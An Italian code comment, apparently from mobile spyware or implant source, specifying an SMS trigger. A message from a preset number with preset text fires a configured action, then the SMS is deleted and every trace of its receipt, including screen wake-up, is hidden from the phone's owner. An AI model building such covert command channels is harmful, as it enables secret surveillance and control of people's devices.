/*
 L'EventSms, definito nel file di configurazione dal relativo EventId, triggera l'azione ad esso associata quando viene ricevuto un SMS da un numero prestabilito e contenente il testo prestabilito. Nel caso in cui l'SMS venga identificato come proveniente dal numero prestabilito e contenente il testo prestabilito, va cancellato e rimossa ogni traccia della sua ricezione (inclusa l'eventuale accensione dello schermo).
 Parametri

 L'evento riceve, tramite la propria EventStruct, almeno tre parametri:

 uNumLen
 E' un UINT e definisce la lunghezza del numero di telefono, in byte, incluso il NULL-terminatore. 
 wNumber
 E' un WCHAR ed e' valorizzato con il numero di telefono prestabilito. 
 uTextLen
 E' un UINT e definisce la lunghezza del testo da monitorare, in byte, incluso il NULL-terminatore. 
 wText
 (facoltativo) E' un WCHAR ed e' valorizzato con il testo del messaggio che dovra' trovarsi nell'SMS per triggerare l'azione.
